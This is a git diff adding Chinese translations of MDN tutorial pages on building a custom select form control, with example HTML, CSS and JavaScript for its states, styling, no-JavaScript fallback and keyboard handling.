diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html new file mode 100644 index 0000000000..3a9546631f --- /dev/null +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_2/index.html @@ -0,0 +1,212 @@ +--- +title: Example 2 +slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2 +tags: + - HTML + - 表单 +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_2 +--- +

这是解释 如何构建自定义表单小部件的第二个示例。

+ +

使用JS

+ +

HTML 内容

+ +
<form class="no-widget">
+  <select name="myFruit">
+      <option>Cherry</option>
+      <option>Lemon</option>
+      <option>Banana</option>
+      <option>Strawberry</option>
+      <option>Apple</option>
+  </select>
+
+  <div class="select">
+    <span class="value">Cherry</span>
+    <ul class="optList hidden">
+      <li class="option">Cherry</li>
+      <li class="option">Lemon</li>
+      <li class="option">Banana</li>
+      <li class="option">Strawberry</li>
+      <li class="option">Apple</li>
+    </ul>
+  </div>
+<form>
+
+ +

CSS 内容

+ +
.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+
+/* --------------- */
+/* Required Styles */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Fancy Styles */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+ +

JavaScript 内容

+ +
window.addEventListener("load", function () {
+  var form = document.querySelector('form');
+
+  form.classList.remove("no-widget");
+  form.classList.add("widget");
+});
+ +

使用JS的结果

+ +

{{ EmbedLiveSample('JS', 120, 130) }}

+ +

不使用JS

+ +

HTML 内容

+ +
<form class="no-widget">
+  <select name="myFruit">
+      <option>Cherry</option>
+      <option>Lemon</option>
+      <option>Banana</option>
+      <option>Strawberry</option>
+      <option>Apple</option>
+  </select>
+
+  <div class="select">
+    <span class="value">Cherry</span>
+    <ul class="optList hidden">
+      <li class="option">Cherry</li>
+      <li class="option">Lemon</li>
+      <li class="option">Banana</li>
+      <li class="option">Strawberry</li>
+      <li class="option">Apple</li>
+    </ul>
+  </div>
+<form>
+ +

CSS 内容

+ +
.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+ +

不使用JS的结果

+ +

{{ EmbedLiveSample('No_JS', 120, 130) }}

diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html new file mode 100644 index 0000000000..a4a58880e4 --- /dev/null +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_3/index.html @@ -0,0 +1,246 @@ +--- +title: Example 3 +slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3 +tags: + - HTML + - 表单 +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_3 +--- +

这是解释 如何构建自定义表单小部件 的第三个示例。

+ +

Change states

+ +

HTML 内容

+ +
<form class="no-widget">
+  <select name="myFruit" tabindex="-1">
+      <option>Cherry</option>
+      <option>Lemon</option>
+      <option>Banana</option>
+      <option>Strawberry</option>
+      <option>Apple</option>
+  </select>
+
+  <div class="select" tabindex="0">
+    <span class="value">Cherry</span>
+    <ul class="optList hidden">
+      <li class="option">Cherry</li>
+      <li class="option">Lemon</li>
+      <li class="option">Banana</li>
+      <li class="option">Strawberry</li>
+      <li class="option">Apple</li>
+    </ul>
+  </div>
+</form>
+ +

CSS 内容

+ +
.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+
+/* --------------- */
+/* Required Styles */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Fancy Styles */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+ +

JavaScript 内容

+ +
// ------- //
+// HELPERS //
+// ------- //
+
+NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}
+
+// -------------------- //
+// Function definitions //
+// -------------------- //
+
+function deactivateSelect(select) {
+  if (!select.classList.contains('active')) return;
+
+  var optList = select.querySelector('.optList');
+
+  optList.classList.add('hidden');
+  select.classList.remove('active');
+}
+
+function activeSelect(select, selectList) {
+  if (select.classList.contains('active')) return;
+
+  selectList.forEach(deactivateSelect);
+  select.classList.add('active');
+};
+
+function toggleOptList(select, show) {
+  var optList = select.querySelector('.optList');
+
+  optList.classList.toggle('hidden');
+}
+
+function highlightOption(select, option) {
+  var optionList = select.querySelectorAll('.option');
+
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  option.classList.add('highlight');
+};
+
+// ------------- //
+// Event binding //
+// ------------- //
+
+window.addEventListener("load", function () {
+  var form = document.querySelector('form');
+
+  form.classList.remove("no-widget");
+  form.classList.add("widget");
+});
+
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option');
+
+    optionList.forEach(function (option) {
+      option.addEventListener('mouseover', function () {
+        highlightOption(select, option);
+      });
+    });
+
+    select.addEventListener('click', function (event) {
+      toggleOptList(select);
+    },  false);
+
+    select.addEventListener('focus', function (event) {
+      activeSelect(select, selectList);
+    });
+
+    select.addEventListener('blur', function (event) {
+      deactivateSelect(select);
+    });
+  });
+});
+ +

结果

+ +

{{ EmbedLiveSample('Change_states') }}

diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html new file mode 100644 index 0000000000..472102adb2 --- /dev/null +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_4/index.html @@ -0,0 +1,294 @@ +--- +title: Example 4 +slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4 +tags: + - HTML + - Web + - 表单 + - 高级 +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_4 +--- +

这是解释 如何构建自定义表单小部件 的第四个示例。

+ +

改变状态

+ +

HTML 内容

+ +
<form class="no-widget">
+  <select name="myFruit">
+    <option>Cherry</option>
+    <option>Lemon</option>
+    <option>Banana</option>
+    <option>Strawberry</option>
+    <option>Apple</option>
+  </select>
+
+  <div class="select">
+    <span class="value">Cherry</span>
+    <ul class="optList hidden">
+      <li class="option">Cherry</li>
+      <li class="option">Lemon</li>
+      <li class="option">Banana</li>
+      <li class="option">Strawberry</li>
+      <li class="option">Apple</li>
+    </ul>
+  </div>
+</form>
+ +

CSS 内容

+ +
.widget select,
+.no-widget .select {
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+
+/* --------------- */
+/* Required Styles */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Fancy Styles */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+ +

JavaScript 内容

+ +
// ------- //
+// HELPERS //
+// ------- //
+
+NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}
+
+// -------------------- //
+// Function definitions //
+// -------------------- //
+
+function deactivateSelect(select) {
+  if (!select.classList.contains('active')) return;
+
+  var optList = select.querySelector('.optList');
+
+  optList.classList.add('hidden');
+  select.classList.remove('active');
+}
+
+function activeSelect(select, selectList) {
+  if (select.classList.contains('active')) return;
+
+  selectList.forEach(deactivateSelect);
+  select.classList.add('active');
+};
+
+function toggleOptList(select, show) {
+  var optList = select.querySelector('.optList');
+
+  optList.classList.toggle('hidden');
+}
+
+function highlightOption(select, option) {
+  var optionList = select.querySelectorAll('.option');
+
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  option.classList.add('highlight');
+};
+
+function updateValue(select, index) {
+  var nativeWidget = select.previousElementSibling;
+  var value = select.querySelector('.value');
+  var optionList = select.querySelectorAll('.option');
+
+  nativeWidget.selectedIndex = index;
+  value.innerHTML = optionList[index].innerHTML;
+  highlightOption(select, optionList[index]);
+};
+
+function getIndex(select) {
+  var nativeWidget = select.previousElementSibling;
+
+  return nativeWidget.selectedIndex;
+};
+
+// ------------- //
+// Event binding //
+// ------------- //
+
+window.addEventListener("load", function () {
+  var form = document.querySelector('form');
+
+  form.classList.remove("no-widget");
+  form.classList.add("widget");
+});
+
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option');
+
+    optionList.forEach(function (option) {
+      option.addEventListener('mouseover', function () {
+        highlightOption(select, option);
+      });
+    });
+
+    select.addEventListener('click', function (event) {
+      toggleOptList(select);
+    });
+
+    select.addEventListener('focus', function (event) {
+      activeSelect(select, selectList);
+    });
+
+    select.addEventListener('blur', function (event) {
+      deactivateSelect(select);
+    });
+  });
+});
+
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option'),
+        selectedIndex = getIndex(select);
+
+    select.tabIndex = 0;
+    select.previousElementSibling.tabIndex = -1;
+
+    updateValue(select, selectedIndex);
+
+    optionList.forEach(function (option, index) {
+      option.addEventListener('click', function (event) {
+        updateValue(select, index);
+      });
+    });
+
+    select.addEventListener('keyup', function (event) {
+      var length = optionList.length,
+          index  = getIndex(select);
+
+      if (event.keyCode === 40 && index < length - 1) { index++; }
+      if (event.keyCode === 38 && index > 0) { index--; }
+
+      updateValue(select, index);
+    });
+  });
+});
+ +

结果

+ +

{{ EmbedLiveSample('Change_states') }}

diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html new file mode 100644 index 0000000000..24636e7858 --- /dev/null +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/index.html @@ -0,0 +1,776 @@ +--- +title: 如何构建表单小工具 +slug: Learn/HTML/Forms/How_to_build_custom_form_widgets +tags: + - HTML + - 例子 + - 表单 + - 高级 +translation_of: Learn/Forms/How_to_build_custom_form_controls +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}
+ +

在许多情况下,可用的 HTML 表单小组件是不够的。如果要在某些小部件(例如 {{HTMLElement("select")}}元素)上执行高级样式,或者如果要提供自定义表现,则别无选择,只能构建自己的小部件。

+ +

在本文中,我们会看到如何构建这样的组件。为此,我们将使用这样一个例子:重建 {{HTMLElement("select")}}元素。

+ +
+

注意: 我们将专注于构建小部件,而不是怎样让代码更通用或可复用;那会涉及一些非基础的JavaScript代码和未知环境下的DOM操作,这超过了这篇文章的范围。

+
+ +

设计, 结构, 和语义

+ +

在构建一个自定义控件之前,首先你要确切的知道你要什么。 这将为您节省宝贵的时间。 特别地,清楚地定义控件的所有状态非常重要。 为了做到这一点,从状态和行为表现都众所周知的现有小控件开始是很好的选择,这样你可以轻松的尽量模仿这些控件。

+ +

在我们的示例中,我们将重建HTML<select>元素,这是我们希望实现的结果:

+ +

The three states of a select box

+ +

上面图片显示了我们控件的三个主要状态:正常状态(左); 活动状态(中)和打开状态(右)。

+ +

在行为方面,我们希望我们的控件像任何原生控件一样对鼠标和键盘都可用。 让我们从定义控件如何到达每个状态开始:

+ +
+
以下情况控件将会呈现正常状态:
+
+
    +
  • 页面加载
  • +
  • 控件处于活动状态,但用户点击控件以外的任何位置
  • +
  • 控件是活动状态,但用户使用键盘将焦点移动到另一个小部件
  • +
+ +
+

注意: 在页面上移动焦点通常是通过按Tab键来完成的,但这并不是哪都通用的标准。 例如,在Safari中页面上的链接间的循环切换默认下是通过使用组合键Option + Tab完成的。

+
+
+
以下情况控件将会呈现活动状态:
+
+
    +
  • 用户点击
  • +
  • 用户按下tab让控件获得了焦点。
  • +
  • 控件呈现打开状态然后用户点击控件。
  • +
+
+
以下情况控件将会呈现打开状态:
+
+
    +
  • 控件在非打开状态时被用户点击。
  • +
+
+
+ +

我们知道如何改变状态后,定义如何改变小工具的值还很重要:

+ +
+
以下情况控件的值将会被改变:
+
+
    +
  • 控件在打开状态下用户点击一个选项
  • +
  • 控件在活动状态下用户按下键盘上方向键或者下方向键
  • +
+
+
+ +

最后,让我们定义控件的选项将要怎么表现:

+ + + +

对于我们的例子的目的,我们将就此结束;但是,如果你是一个认真的读者,你会注意到我们省略了一些东西,例如,你认为用户在小部件处于打开状态时点击tab键会发生什么?答案是:什么也不会发生。好吧,似乎很明显这就是正确的行为,但事实是,因为在我们的规范中没有定义这种情况,我们很容易忽略这种行为。在团队环境中尤其是这样,因为设计小部件行为的人与实现的人通常是不同的。

+ +

另外一个有趣的例子是:当小部件处于打开状态时,用户按下键盘上方向键和下方向键将会发生什么?这个问题有些棘手,如果你认为活动状态和打开状态是完全不同的,那么答案就是“什么都不会发生”,因为我们没有定义任何在打开状态下键盘的交互行为。从另一个方面看,如果你认为活动状态和打开状态是有重叠的部分,那么控件的值可能会改变,但是被选中的选项肯定不会相应的进行突出显示,同样是因为我们没有定义在控件打开状态下的任何键盘交互事件(我们仅仅定义了控件打开会发生什么,而没有定义在其打开后会发生什么)

+ +

在我们的例子中,缺失的规范是显而易见的,所以我们将着手处理他们,但是对于一些没有人想到去定义正确行为的小部件而言,这的确是一个问题。所以在设计阶段花费时间是值得的,因为如果你定义的行为不够好,或者忘记定义了一个行为,那么在用户开始实际使用时,将会很难去重新定义它们。如果你在定义时有疑问,请征询他人的意见,如果你有预算,请不要犹豫的去进行用户可行性测试,这个过程被称为UX design (User Experience Design用户体验设计),如果你想要深入的学习相关的内容,请查阅下面这些有用资源:

+ + + +
+

注意: 另外, 在绝大多数系统中,还有一种方法能够打开{{HTMLElement("select")}}元素来观察其所有的选项(这和用鼠标点击{{HTMLElement("select")}}元素是一样的)。通过Windows下的Alt + 向下箭头实现,在我们的例子中没有实现---但是这样做会很方便,因为鼠标点击事件就是由该原理实现的。

+
+ +

定义语义化的 HTML 结构

+ +

现在控件的基本功能已经决定了,可以开始构建自定义控件了。第一步是要确定 HTML 结构并给予一些基本的语义规则。第一步就是去确定它的HTML结构并给予一些基本的语义。重构{{HTMLElement("select")}}元素需要怎么做如下:

+ +
<!-- 这是我们小部件的主要容器.
+     tabindex属性是用来让用户聚焦在小部件上的.
+     稍后我们会发现最好通过JavaScript来设定它的值. -->
+<div class="select" tabindex="0">
+
+  <!-- 这个容器用来显示组件现在的值 -->
+  <span class="value">Cherry</span>
+
+  <!-- 这个容器包含我们的组件的所有可用选项.
+       因为他是一个列表,用ul元素是有意义的. -->
+  <ul class="optList">
+    <!-- 每个选项只包含用来显示的值,
+         稍后我们会知道如何处理和表单一起发送的真实值 -->
+    <li class="option">Cherry</li>
+    <li class="option">Lemon</li>
+    <li class="option">Banana</li>
+    <li class="option">Strawberry</li>
+    <li class="option">Apple</li>
+  </ul>
+
+</div>
+ +

注意类名的使用:不管实际使用了哪种底层HTML元素,它们都标识每个相关的部分。这很重要,因为这样做能确保我们的CSS和JavaScript不会和HTML结构强绑定,这样我们就可以在不破坏使用小部件的代码的情况下进行实现更改。比如,如果你希望增加一个等价的{{HTMLElement("optgroup")}}元素。

+ +

使用 CSS 创建外观

+ +

现在我们有了控件结构,我们可以开始设计我们的控件了。构建自定义控件的重点是能够完全按照我们的期望设置它的样式。为了达到这个目的,我们将 CSS部分的工作分为两部分:第一部分是让我们的控件表现得像一个{{HTMLElement("select")}}元素所必需的的CSS规则,第二部分包含了让组件看起来像我们所希望那样的精妙样式。

+ +

所需的样式

+ +

所需的样式是那些用以处理我们组件的三种状态的必须样式。

+ +
.select {
+  /* 这将为选项列表创建一个上下文定位 */
+  position: relative;
+
+  /* 这将使我们的组件成为文本流的一部分,同时又可以调整大小 */
+  display : inline-block;
+}
+ +

我们需要一个额外的类 active 来定义我们的组件处于其激活状态时的的界面外观。因为我们的组件是可以聚焦的, 我们通过{{cssxref(":focus")}} 伪类重复自定义样式来确保它们表现得一样。

+ +
.select .active,
+.select:focus {
+  outline: none;
+
+  /* 这里的 box-shadow 属性并非必须,但确保活动状态能看出来非常重要---我们
+ 将其作为一个默认值,你可以随意地覆盖掉它. */
+  box-shadow: 0 0 3px 1px #227755;
+}
+ +

现在,让我们处理选项列表:

+ +
/* 这里的 .select 选择器是一个糖衣语法,用来确保我们定义的类是
+   在我们的组件里的那个。 */
+.select .optList {
+  /* 这可以确保我们的选项列表将会显示在值的下面,并且会处在
+     HTML 流之外*/
+  position : absolute;
+  top      : 100%;
+  left     : 0;
+}
+ +

我们需要一个额外的类来处理选项列表隐藏时的情况。为了管理没有完全匹配的活动状态和打开状态之间的差异,这是有必要的。

+ +
.select .optList.hidden {
+  /* 这是一个以可访问形式隐藏列表的简单方法,
+     对可访问性我们将在最后进一步拓展 */
+  max-height: 0;
+  visibility: hidden;
+}
+ +

美化

+ +

所以现在我们的基本功能已经就位,有趣的事情就可以开始了。下面是一个可行的简单的例子,和本文开头的截图是相对应的。不管怎样,你可以随意的体验一下看看能收获什么。

+ +
.select {
+  /* 出于可访问性方面的原因,所有尺寸都会由em值表示
+     (用来确保用户在文本模式下使用浏览器缩放时组件的可缩放性).
+     在大多数浏览器下的默认换算是1em == 16px.
+     如果你对em和px的转换感到疑惑, 请参考http://riddle.pl/emcalc/ */
+  font-size   : 0.625em; /* 这个(=10px)是以em方式表达的这个环境里的字体大小 */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  /* 我们需要为将要添加的向下箭头准备一些额外的空间 */
+  padding : .1em 2.5em .2em .5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : .2em solid #000; /* 2px */
+  border-radius : .4em; /* 4px */
+  box-shadow    : 0 .1em .2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  /* 第一段声明是为了不支持线性梯度填充的浏览器准备的。
+     第二段声明是因为基于WebKit的浏览器没有预先定义它。
+     如果你想为过时的浏览器提供支持, 请参阅 http://www.colorzilla.com/gradient-editor/ */
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  /* 因为值的宽度可能超过组件的宽度,我们需要确保他不会改变组件的宽度 */
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  vertical-align: top;
+
+  /* 如果内容溢出了, 最好有一个恰当的缩写. */
+  white-space  : nowrap;
+  text-overflow: ellipsis;
+}
+ +

我们不需要一个额外的元素来设计向下的箭头,而使用{{cssxref(":after")}} 伪类来替代。然而,这也可以通过使用一张加在select class上的简单的背景图像来实现。

+ +
.select:after {
+  content : "▼"; /* 我们使用了unicode 编码的字符 U+25BC; 参阅 http://www.utf8-chartable.de */
+  position: absolute;
+  z-index : 1; /* 这对于防止箭头覆盖选项列表很重要 */
+  top     : 0;
+  right   : 0;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  height  : 100%;
+  width   : 2em;  /* 20px */
+  padding-top : .1em; /* 1px */
+
+  border-left  : .2em solid #000; /* 2px */
+  border-radius: 0 .1em .1em 0;  /* 0 1px 1px 0 */
+
+  background-color : #000;
+  color : #FFF;
+  text-align : center;
+}
+ +

接下来,让我们定义选项列表的样式。

+ +
.select .optList {
+  z-index : 2; /* 我们明确的表示选项列表会始终与向下箭头重叠 */
+
+  /* 这会重置ul元素的默认样式 */
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  /* 这会确保即使数值比组件小,选项列表仍能变得跟组件自身一样大*/
+  min-width : 100%;
+
+  /* 万一列表太长了, 它的内容会从垂直方向溢出(会自动添加一个竖向滚动条)
+     但是水平方向不会(因为我们没有设定宽度, 列表会自适应宽度. 如果不能的话,内容会被截断) */
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+
+  border: .2em solid #000; /* 2px */
+  border-top-width : .1em; /* 1px */
+  border-radius: 0 0 .4em .4em; /* 0 0 4px 4px */
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4); /* 0 2px 4px */
+  background: #f0f0f0;
+}
+ +

对于选项,我们需要添加一个 highlight 类以便能标明用户将要选择的值或者已经选择的值。

+ +
.select .option {
+  padding: .2em .3em; /* 2px 3px */
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+ +

这是三种状态的结果:

+ + + + + + + + + + + + + + + + + + + +
基本状态活动状态打开状态
{{EmbedLiveSample("Basic_state",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}{{EmbedLiveSample("Active_state",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}{{EmbedLiveSample("Open_state",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}
Check out the source code
+ +

通过JavaScript让您的小部件动起来

+ +

现在我们的设计和结构已经完成了。我们可以写些JavaScript代码来让这个部件真正生效。

+ +
+

警告:下面的代码仅仅是教学性质的,并且不应该照搬使用。在许多方面,正如我们所看到的,这种方案不具有前瞻性,而且可能在旧浏览器上会不工作。这里面还有冗余的部分,在生产环境下,代码需要优化。

+
+ +
+

注意:创建可复用的组件可能是一件需要些技巧的事情。W3C 网络组件草案 是对这类特定问题的答案之一。X-Tag 项目 是对这一规格的实验性实现;我们建议你看看它。

+
+ +

它为什么不生效?

+ +

在我们开始之前,要记住一件和 JavaScript 有关的非常重要的事情:在浏览器中,这是一种不可靠的技术。当你构建一个自定义组件时,你会不得不得依赖于 JavaScript,因为这是将所有的东西联系在一起的线索。但是,很多情况下,JavaScript 不能在浏览器中运行。

+ + + +

因为这些风险,认真考虑 JavaScript 不生效时会发生什么是很重要的。处理这个问题的细节超出了这篇文章的范围,因为这与你有多么想使你的脚本具有通用性和可复用性更加相关,不过我们将在我们的例子中考虑与其相关的基本内容。

+ +

在我们的例子中,如果JavaScript代码没有运行,我们会回退到显示一个标准的 {{HTMLElement("select")}} 元素。为了实现这一点,我们需要两样东西。

+ +

首先,在每次使用我们的自定义部件前,我们需要添加一个标准的 {{HTMLElement("select")}} 元素。实际上,为了能将来自我们自定义的表单组件和以及其他部分的表单数据发送出去,这个元素也是需要的。我们随后会详细的解释这一点。

+ +
<body class="no-widget">
+  <form>
+    <select name="myFruit">
+      <option>Cherry</option>
+      <option>Lemon</option>
+      <option>Banana</option>
+      <option>Strawberry</option>
+      <option>Apple</option>
+    </select>
+
+    <div class="select">
+      <span class="value">Cherry</span>
+      <ul class="optList hidden">
+        <li class="option">Cherry</li>
+        <li class="option">Lemon</li>
+        <li class="option">Banana</li>
+        <li class="option">Strawberry</li>
+        <li class="option">Apple</li>
+      </ul>
+    </div>
+  </form>
+
+</body>
+ +

第二,我们需要两个新的 classes 来隐藏不需要的元素(即,当我们的脚本没有运行时的自定义组件, 或是脚本正常运行时的"真正的" {{HTMLElement("select")}} 元素)。注意默认情况下,我们的 HTML 代码会隐藏我们的自定义组件。

+ +
.widget select,
+.no-widget .select {
+  /* 这个CSS选择器大体上说的是:
+     - 要么我们将body的class设置为"widget",隐藏真实的{{HTMLElement("select")}}元素
+     - 或是我们没有改变body的class,这样body的class还是"no-widget",
+       因此class为"select"的元素需要被隐藏 */
+  position : absolute;
+  left     : -5000em;
+  height   : 0;
+  overflow : hidden;
+}
+ +

